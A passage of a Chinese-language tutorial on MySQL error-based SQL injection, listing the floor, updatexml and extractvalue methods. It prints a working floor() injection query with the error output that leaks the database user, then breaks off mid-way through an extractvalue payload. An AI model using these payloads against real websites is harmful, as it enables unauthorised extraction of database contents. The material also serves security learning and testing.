sql注入--6其他报错注入
其他报错注入
常用报错注入简介
报错注入有很多种,重点用的是floor,updatexml,extractvalue。
floor报错单独做了一篇,这一篇的报错注入主要讲Updatexml()报错注入和extractvalue()报错注入。
基本上常用的这三种没有版本限制,其他的报错注入有版本限制
(我floor报错那篇也发现了一个版本限制)
十种报错注入
1.floor报错注入
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 : Duplicate entry ‘root@localhost’ for key ‘group_key’
2.extractvalue()报错注入
select * from test where id=1 and (extractvalue(1,concat('~',(select user()),'~'